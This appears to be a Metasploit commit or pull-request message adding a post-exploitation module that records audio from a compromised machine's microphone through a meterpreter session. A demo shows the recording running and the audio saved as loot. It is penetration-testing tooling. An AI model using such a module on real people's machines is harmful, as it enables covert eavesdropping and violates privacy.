Implements the record_mic feature as a post module

For easier deployment in the web GUI. Works for Windows meterpreter and Java meterpreter.

Demo:

	meterpreter > run post/multi/manage/record_mic 

	[*] Recording: 20% done...
	[*] Recording: 40% done...
	[*] Recording: 60% done...
	[*] Recording: 80% done...
	[*] Recording: 100% done...
	[*] 10.0.1.4 - Audio size: (55169 bytes)
	[+] 10.0.1.4 - Audio recording saved: /Users/sinn3r/.msf4/loot/20130117121909_default_10.0.1.4_10.0.1.4.webcam._985360.wav
	meterpreter >